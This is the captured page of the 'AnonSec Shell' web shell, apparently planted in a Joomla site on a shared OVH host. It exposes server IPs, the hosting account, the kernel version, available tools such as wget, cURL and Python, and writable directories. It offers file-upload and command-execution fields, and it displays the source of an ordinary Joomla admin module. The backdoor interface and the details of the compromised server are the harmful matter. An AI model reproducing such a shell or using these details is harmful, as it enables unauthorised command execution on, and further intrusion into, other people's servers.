AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/brest/administrator/modules/mod_djc2menu/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/brest/administrator/modules/mod_djc2menu/mod_djc2menu.php
<?php

use Joomla\CMS\Factory;
use Joomla\CMS\Helper\ModuleHelper;
use Joomla\Registry\Registry;
use Joomla\CMS\Uri\Uri;

defined('_JEXEC') or die();

if (!Factory::getUser()->authorise('core.edit', 'com_templates')) {
    return;
}

$query = "SELECT * FROM #__template_styles WHERE client_id=0 AND home='1'";
if (
    !($templ = Factory::getDbo()
        ->setQuery($query)
        ->loadObject())
) {
    return;
}

$templ->params = new Registry($templ->params);

$lang = JFactory::getLanguage();
$lang->load('com_djcatalog2', JPATH_ROOT.'/administrator/components/com_djcatalog2', 'en-GB', false, false);
$lang->load('com_djcatalog2', JPATH_ROOT.'/administrator/components/com_djcatalog2', null, false, false);
$lang->load('com_djcatalog2', JPATH_ADMINISTRATOR, null, true, false);
$app->getDocument()->addStyleSheet(
    Uri::root(true) . '/administrator/modules/mod_djc2menu/assets/icon.css'
);

require ModuleHelper::getLayoutPath(
    'mod_djc2menu',
    $params->get('layout', 'default') . (version_compare(JVERSION, '4.0', '<') ? '_legacy' : '')
);

Anon7 - 2022
AnonSec Team